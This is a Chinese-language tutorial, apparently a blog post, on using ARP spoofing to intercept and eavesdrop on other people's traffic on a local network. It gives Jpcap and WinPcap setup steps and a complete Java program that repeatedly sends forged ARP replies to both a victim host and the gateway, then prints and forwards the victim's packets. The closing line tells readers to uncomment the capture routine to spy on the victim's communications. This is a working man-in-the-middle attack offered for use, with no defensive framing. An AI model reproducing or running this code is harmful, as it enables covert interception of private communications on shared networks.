ARP欺骗在局域网内拦截和窃听他人通讯
使用jpcap。下载链接为http://pan.baidu.com/s/1jG5wLHs。内含对应的jar和dll。
配置方法：
在windows 64位中（amd 和英特尔均可），下载jpcap安装包。需要提前安装winpcap。
配置Jpcap路径：这一步也是最重要的一步。具体路径为，把Jpcap文件夹下lib文件夹里的Jpcap.dll复制到"C:\Program Files\Java\jre1.6.0_07\bin"文件夹里面（复制到你机器JRE文件夹放到bin文件夹里面就可以了，其中JRE的版本一定要与Eclipse配置的版本一致），再把Jpcap文件夹下lib文件夹里的Jpcap.jar复制到"C:\Program Files\Java\jre1.6.0_07\lib\ext"文件夹里面（复制到你机器JRE文件夹->lib->ext放到ext文件夹里面就可以了）。
然后配置Eclipse的JRE环境，（一定需要），选择Window->preferences->Java->Installed JREs,在Installed JREs选择框中选择相应的JRE版本，点Edit，选择Add External JARs…,选择你的Jpcap.jar包（"C:\Program Files\Java\jre1.6.0_07\lib\ext"文件夹里），在Finish就配置全部完成了；
在eclipse中代码如下
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.Packet;
import jpcap.packet.TCPPacket;
public class ChangeARP {
private NetworkInterface[] devices;
private NetworkInterface device;
private JpcapCaptor jpcap;
private JpcapSender sender;
private ARPPacket arpTarget,arpGate;
private byte[] targetMAC,gateMAC;
private String targetIP,gateIP;
private void getDevice() throws IOException{
devices = JpcapCaptor.getDeviceList();
//may not have only one devices
device = devices[0];
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);
jpcap.setFilter("ip", true);
sender = jpcap.getJpcapSenderInstance();
}
public ChangeARP(byte[] targetMAC,String targetIP,byte[] gateMAC,String gateIP)
throws UnknownHostException,InterruptedException{
//may be buggy
this.targetMAC = targetMAC;
this.targetIP = targetIP;
this.gateMAC = gateMAC;
this.gateIP = gateIP;
try{
getDevice();
}catch(IOException e){
}
///////////////////////////////////////////////////////
//以下程序用于构建欺骗目标的arp包,使用自己的mac地址，冒充他人ip
//
//
//////////////////////////////////////////////////////
////////////////////建立ARP包///////////////////////////////
arpTarget = new ARPPacket();
//以太网类型
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;
//ip类型
arpTarget.prototype = ARPPacket.PROTOTYPE_IP;
//relay类型
arpTarget.operation = ARPPacket.ARP_REPLY;
//mac地址为6个字节
arpTarget.hlen = 6;
//ip地址为4个字节
arpTarget.plen = 4;
arpTarget.sender_hardaddr = device.mac_address;
arpTarget.sender_protoaddr = InetAddress.getByName(gateIP).getAddress();
arpTarget.target_hardaddr = targetMAC;
arpTarget.target_protoaddr = InetAddress.getByName(targetIP).getAddress();
//////////////////////建立以太网包////////////////////////////////////
EthernetPacket ethToTarget = new EthernetPacket();
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToTarget.src_mac = device.mac_address;
ethToTarget.dst_mac = targetMAC;
arpTarget.datalink = ethToTarget;
///////////////////////////////////////////////////////
//以下程序用于构建欺骗网关的arp包
//
//
//////////////////////////////////////////////////////
arpGate = new ARPPacket();
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER;
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.sender_protoaddr = InetAddress.getByName(targetIP).getAddress();
arpGate.target_hardaddr = gateMAC;
arpGate.target_protoaddr = InetAddress.getByName(gateIP).getAddress();
EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address; // A的MAC地址
ethToGate.dst_mac = gateMAC; // 网关的MAC地址
arpGate.datalink = ethToGate;
System.out.println(arpTarget);
System.out.println(arpGate);
///////////////////////////////////////////////////////
//发射线程
//
//
//////////////////////////////////////////////////////
new Thread(new Runnable() {
public void run() {
while (true) {
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
System.out.println("hahahahaahah");
try {
Thread.sleep(500);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}).start();
//recP();//接收数据并转发
}
///////////////////////////////////////////////////////
//用于转发数据
//
//
//////////////////////////////////////////////////////
public void recP(){
IPPacket ipPacket = null;
while(true){
ipPacket = (IPPacket)jpcap.getPacket();
if(ipPacket == null)
continue;
if(ipPacket.src_ip.getHostAddress().equals(targetIP)){
System.out.println(ipPacket);
System.out.println(new String(ipPacket.data));
}
if(ipPacket.src_ip.getHostAddress().equals(targetIP)){
send(ipPacket,gateMAC);
}else{
send(ipPacket,targetMAC);
}
}
}
///////////////////////////////////////////////////////
//用于发射
//
//
//////////////////////////////////////////////////////
private void send(Packet packet,byte[] changeMac){
EthernetPacket eth;
if(packet.datalink instanceof EthernetPacket){
eth = (EthernetPacket)packet.datalink;
for(int i=0;i<6;i++){
eth.dst_mac[i]=changeMac[i];
eth.src_mac[i]=device.mac_address[i];
}
sender.sendPacket(packet);
}
}
public static void main(String[] args)throws Exception{
byte[] targetMAC = new byte[6];
targetMAC[0] = (byte) 0x6c;
targetMAC[1] = (byte) 0x62;
targetMAC[2] = (byte) 0x6d;
targetMAC[3] = (byte) 0x3c;
targetMAC[4] = (byte) 0xab;
targetMAC[5] = (byte) 0x77;
byte[] gateMAC = new byte[6];
gateMAC[0] = (byte) 0x68;
gateMAC[1] = (byte) 0xbd;
gateMAC[2] = (byte) 0xab;
gateMAC[3] = (byte) 0x33;
gateMAC[4] = (byte) 0xff;
gateMAC[5] = (byte) 0x80;
String targetIP = "192.168.48.14";
String gateIP = "192.168.48.1";
System.out.println(System.getProperty("java.library.path"));
ChangeARP temp = new ChangeARP(targetMAC,targetIP,gateMAC,gateIP);
}
}
如果要监听对方通信，请将recp前的注释取消掉。